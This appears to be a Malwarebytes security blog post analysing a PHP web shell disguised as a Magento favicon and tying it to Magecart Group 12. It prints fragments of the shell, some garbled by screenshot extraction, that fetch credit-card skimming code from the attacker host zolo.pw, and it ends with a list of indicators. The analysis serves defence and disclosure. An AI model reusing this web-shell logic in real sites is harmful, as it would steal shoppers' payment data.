Newly observed PHP-based skimmer shows ongoing Magecart Group 12 activity

blog.malwarebytes.com/cybercrime/2021/05/newly-observed-php-based-skimmer-shows-ongoing-magecart-group-12-activity/

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May 13, 2021

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Web skimming continues to be a real and impactful threat to online merchants and shoppers. The threat actors in this space greatly range in sophistication from amateurs all the way to <u>nation state groups like Lazarus</u>.

In terms of security, many e-commerce shops remain vulnerable because they have not upgraded their content management software (CMS) in years. The campaign we are looking at today is about a number of Magento 1 websites that have been compromised by a very active skimmer group.

We believe that Magecart Group 12, identified as being behind the Magento 1 hacking spree last fall, continues to distribute new malware that was observed by security researchers recently. These web shells known as Smilodon or Megalodon are used to dynamically load JavaScript skimming code via server-side requests into online stores. This technique is interesting as most client-side security tools will not be able to detect or block the skimmer.

Web shell hidden as favicon

While performing a crawl of Magento 1 websites, we detected a new piece of malware disguised as a favicon. The file named Magento.png attempts to pass itself as 'image/png' but does not have the proper PNG format for a valid image file.

Host	URL	Body	Content-Type	SHA-256			
	/media/favicon/default/Magento_3.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_3.png	5,245	image/png	97882feabbea5a59df25			
e	/media/favicon/default/Magento_4.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_2.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_8.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_12.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_11.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_4.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_2.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_9.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento_4.png	5,245	image/png	97882feabbea5a59df25			
	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
i	/media/favicon/default/Magento.png	5,245	image/png	97882feabbea5a59df25			
	/modia/favicon/dofault/Magonto_6_ppg	5 245	imago/png	07000foobboo5-50df25			
74 65 73 0D 0)A OD OA 38 39 20 35 30 20 34 80 41 20 31 41 20 30 41 0D 07	45 20	³⁴ _{2C} PNG (es89 50 4E 4			
61 6D 65 2C 4	45 6D 61 69 6C 2C 47 72 6F 75	5 70 2C	54 65 X a	me.Email.Group.Te			
6C 65 70 68 6	5F 6E 65 2C 5A 49 50 2C 43 6E	75 6E	74 72 1	ephone,ZIP,Countr			
79 2C 53 74 6	51 74 65 2F 50 72 6F 76 69 6E	63 65	2C 22 y	,State/Province,"			
43 75 73 74 6	SF 6D 65 72 20 53 69 6E 63 65	22 OD	OA 3D C	ustomer Since			
3D 3D 3E 57 4	HF 52 44 3C 3D 3D 3D 0D 0A 3C	3F 70	68 70 =	->WORD<===(?php)			
3B 0D 0A 69 6	56 20 28 66 69 6C 65 5F 65 78	69 73	74 73	if (file exists			
28 24 66 6C 2	29 29 0D 0A 20 20 20 20 40 75	6E 6C	69 6E (\$fl)) @unlin			

The way it is injected in compromised sites is by replacing the legitimate shortcut icon tags with a path to the fake PNG file. Unlike previous incidents where a <u>fake favicon image</u> was used to hide malicious JavaScript code, this turned out to be a PHP web shell. However, in its current implementation this PHP script won't be loaded properly.



Web shells are a very popular type of malware encountered on websites that allow an attacker to maintain remote access and administration. They are typically uploaded onto a web server after exploitation of a vulnerability (i.e. SQL injection).

To better understand what this webshell is meant to do, we can decode the reverse Base64 encoded blurb. We see that it retrieves data from an external host at zolo[.]pw.

Input	1			1	ength: 4444 lines: 1	+		€	Î	=
==WO9pQD CIgoQD7B gACIgoQD URNV1QPR K0WOpICb	7ICIkVGbiF2 SZzxWZg0nCN 7BSKpcWYsZG 0JbJVRWJVR1 9yVHJgwmc1Nn	<pre>?cpRGIzlGI0dm !sTK0FGZkgCbh 3JoMHdzlGel9V F9FJg0DInFGbm nIoMWZ4V2XyVG</pre>	ZgYCIdx ZXZ ACL Z Reve RiCNoQD c1NHI9A	mc1N2WjVGelBi rse Base64 19pQD9BCIgAiCI ACdhRGJgACIgA	iJg4WZw92aj kgCImlmCNoQ nZuU2YuFmbh NsTK0FGZkgS CIgAiCNsHIP	92cmBiJ D9pQD7k RnbpFWb bpJHdg0 QXYkRSI	gwmc1 yZhxm vICIu DIØFG oAiZp	NGIIA Zkgya ASXnQ ZkACI BCIgA	yboNW ulGbu 1TPJ1 gACIg iCNoQ	IZgA IVHQ .XU5 ;ACI ;D9B
Output	t			start: 3210 end: 3210 length: 0	time: 22ms length: 3333 lines: 122		D	(†)	5	::
define(" function \$opt	BACK_HOST", super_curl	, "http://zolo l_zilla(\$url, ay(o.pw/m1 \$post)	_2021_force") {	[;] 2					
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hVWefN2Y 90QOV0XU iAuICRfU TE9ET05f 1QgACIgA 9DT09LSU gACIgACI gICAgZm9	'kgic@NnY1NH: /B1TMJVVDBCI /@VSVkVSWydI\ SEVBRCIpKSB: /CIgACIgACIg/ /VbJ3d@ZiddK: gACIgACIK@Q /yZWFjaCAOJF:	I9AichVWefN2Yk gACIgACIgACIgA VFRQX0hPU1QnXT 7DQoNCiAgICBkZ ACIgACIgACIgAC SkgJiYgKG1kNSg Kp01JhxGbppHdy 9QT1NUWydwYX1		<pre>if (((isset(\$ 'ftw']) == \$get_url \$content if (funct \$opti C C </pre>	_COOKIE['wtf = '7ac1cca5b = "https://z = ""; ion_exists(" ons = array(URLOPT_REAP	''])) && ee8b8b31 colo.pw/w 'curl_ini NTRANSFE	(md5(: 1a521b wtf/inw it")) - ER =>	\$_C00k 97b098 dex.ph { true,	KIE['w 38063' 1p?h="	Jg /tf 4g)) C4 (Ag VQ VQ (VR (Uf) 12

Further looking into the *m1_2021_force directory* reveals additional code very specific to credit card skimming.



The data exfiltration part matches what researcher Denis @unmaskparasites had found back in March on WordPress sites (<u>Smilodon malware</u>) which also steals user credentials:



A similar PHP file (Mage.php) was reported by SanSec as well:



That same path/filename was previously <u>mentioned</u> by SanSec during the Magento 1 EOL hacking spree:



This hints that we are possibly looking at the same threat actors then and now, which we can confirm by looking at the infrastructure being used.

Magecart Group 12 again

Because we found the favicon webshells on Magento 1.x websites we thought there might be a tie with the hacking that took place last year when exploits for the Magento 1 branch (no longer maintained) were found. RiskIQ <u>documented</u> these compromises and linked them with Magecart Group 12 at the time.

The newest domain name we found (zolo[.]pw) happens to be hosted on the same IP address (217.12.204[.]185) as recaptcha-in[.]pw and google-statik[.]pw, domains previously associated with Magecart Group 12.

	ľ	Q	217.12.204.1	85	zolo.pw 🕓)		
First Seen 2015-07-08 Last Seen 2021-05-11	ASN Orga	nization	AS15626 - ITLAS ITL LLC	Netblock	217.12.204.0/23	UA	Hosting Provider Operating System	ITL Company -
ERS 🚯		RI	ESOLUTIONS 🚺	81 ~ ►	Sort : Last Seen De	scending ~	25 / Page 🗸	
TAG			Resolve	.pw		First 2017-02-10	Las 202	t 21-05-11
ASN		C] zolo.pw			2021-03-15	202	21-05-11
NETWORK] www.recapto	:ha-in.pw		2017-03-30	202	21-05-10
SOURCE (3 / 117)		Γ] google-statil	c.pw		2016-12-09	202	21-05-10

There is a lot of publicly documented material on the activities of Group 1 also known for their 'ant and cockroach' skimmer, their <u>decoy CloudFlare library</u> or their <u>abuse of favicon</u> <u>files</u>.



Dynamically loaded skimmer

There are a number of ways to load skimming code but the most common one is by calling an external JavaScript ressource. When a customer visits an online store, their browser will make a request to a domain hosting the skimmer. Although criminals will constantly expand on their infrastructure it is relatively easy to block these skimmers using a domain/IP database approach. In comparison, the skimmer we showed in this blog dynamically injects code into the merchant site. The request to the malicious domain hosting the skimming code is not made client-side but server-side instead. As such a database blocking approach would not work here unless all compromised stores were blacklisted, which is a catch-22 situation. A more effective, but also more complex and prone to false positives approach, is to inspect the DOM in real time and detect when malicious code has been loaded.

We continue to track this campaign and other activities from Magecart Group 12. Online merchants need to ensure their stores are up-to-date and hardened, not only to pass PCI standards but also to maintain the trust shoppers place in them. If you are shopping online it's always good to exercise some vigilance and equip yourself with security tools such as our Malwarebytes web protection and Browser Guard.

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Indicators of Compromise

facedook[.]host pathc[.]space predator[.]host google-statik[.]pw recaptcha-in[.]pw sexrura[.]pw zolo[.]pw kermo[.]pw psas[.]pw pathc[.]space predator[.]host gooogletagmanager[.]online imags[.]pw
y5[.]ms
autocapital[.]pw
myicons[.]net
qr202754[.]pw
thesun[.]pw
redorn[.]space
zeborn[.]pw
googletagmanagr[.]com
autocapital[.]pw
http[.]ps
xxx-club[.]pw
y5[.]ms
195[.]123[.]217[.]18

217[.]12[.]204[.]185 83[.]166[.]241[.]205 83[.]166[.]242[.]105 83[.]166[.]244[.]105 83[.]166[.]244[.]152 83[.]166[.]244[.]152 83[.]166[.]244[.]189 83[.]166[.]244[.]76 83[.]166[.]245[.]131 83[.]166[.]246[.]34 83[.]166[.]246[.]81 83[.]166[.]248[.]67

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